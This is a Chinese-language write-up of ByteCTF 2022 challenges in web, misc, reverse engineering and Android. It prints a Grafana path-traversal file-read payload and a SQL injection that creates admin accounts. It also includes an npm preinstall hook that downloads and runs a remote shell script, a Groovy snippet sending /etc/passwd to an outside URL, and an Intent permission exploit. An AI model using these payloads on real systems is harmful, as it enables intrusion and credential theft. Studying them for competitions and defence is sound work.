ByteCTF2022-Writeup
字数 1053 2025-08-06 18:07:44
ByteCTF 2022 Writeup 详细解析
0x01 WEB 部分
easy_grafana 漏洞利用
漏洞背景:
- Grafana 8.2.6版本存在任意文件读取漏洞
- 需要绕过路径遍历限制
利用步骤:
-
文件读取:
/public/plugins/text/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd -
读取关键文件:
- 数据库文件:
/public/plugins/alertlist/#/../../../../../../../../../../../var/lib/grafana/grafana.db - 配置文件:
/etc/grafana/grafana.ini
- 数据库文件:
-
关键发现:
- 在数据库中发现加密的MySQL凭据
grafana.ini中的secret_key可用于解密
-
解密过程:
- 使用AES-256 CFB模式解密
- 解密脚本(Go语言):
package main import ( "bytes" "crypto/aes" "crypto/cipher" "crypto/rand" "crypto/sha256" "encoding/base64" "errors" "fmt" "io" "golang.org/x/crypto/pbkdf2" ) // ...(完整代码见原文)
ctf_cloud 漏洞利用
漏洞点:
-
SQL注入:
- 注册功能存在insert注入
- 利用payload:
1',1),('admin','123',1);-- - 可创建多个admin用户
-
npm preinstall RCE:
- 上传恶意package.json:
{ "name": "userapp", "version": "0.0.1", "scripts": { "preinstall": "bash -c 'curl https://your-shell.com/vps:port | sh'" } } - 配置依赖:
{"dependencies":{"v1nd":"file:./public/uploads/"}} - 执行
npm install触发RCE
- 上传恶意package.json:
0x02 MISC 部分
signin
- 队伍页面抓包获取ID
- 重放请求获取flag:
ByteCTF{Hop3_Y0u_hav3_fun!_30bed8ac}
survey
- 签退题,完成问卷即可
easy_groovy
- Groovy语言命令执行限制绕过
- 文件读取并带外传输:
def file = new File("/etc/passwd") def arr = file as String[] def res1 = new URL('https://asdwww.free.beeceptor.com?a=' + arr[0]).text
find it
- 使用sysdig恢复日志:
sysdig -r filename > find.log - 使用foremost提取二维码:
foremost find.scap - 在日志中搜索
}或十六进制字符获取完整flag
0x03 Reverse 部分
It is android
- 关键逻辑在native层
- 手搓ELF解释器获取libc的malloc函数
- SMC(Self-Modifying Code)技术
- 异或解密字符串比较:
from libnum import n2s v0 = 0x473D293F ^ 0x710D4C0B v1 = 0x2A189108 ^ 522822193 v = [v0, v1]+[1681405286, 909141605, 1633772134, 1647392354] print("ByteCTF{", end='') for i in v: print(n2s(i).decode(), end='') print("}")
0x04 Mobile 部分
Bronze Droid
漏洞点:
- Intent URI权限操纵漏洞(CVE-2021-41256类似)
- 错误设置返回值未移除Intent标志位
利用代码:
public void poc() {
Intent i = new Intent();
i.setClassName("com.bytectf.bronzedroid", "com.bytectf.bronzedroid.MainActivity");
i.setAction("ACTION_SHARET_TO_ME");
i.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
i.setData(Uri.parse("content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag"));
startActivityForResult(i, 5);
}
正确修复:
intent.removeFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
intent.removeFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
关键知识点总结
-
Grafana漏洞利用链:
- 文件读取 → 获取数据库 → 解密凭据
-
npm preinstall RCE:
- 利用package.json的scripts字段
- 本地文件依赖触发
-
Android Intent权限问题:
- FLAG_GRANT权限标志位未清除
- Content Provider文件读取
-
逆向工程技巧:
- SMC代码分析
- 异或解密字符串
-
MISC取证:
- sysdig日志分析
- 文件恢复技术
以上为ByteCTF 2022关键题目的详细解析,涵盖了Web、MISC、Reverse和Mobile等多个领域的安全技术点。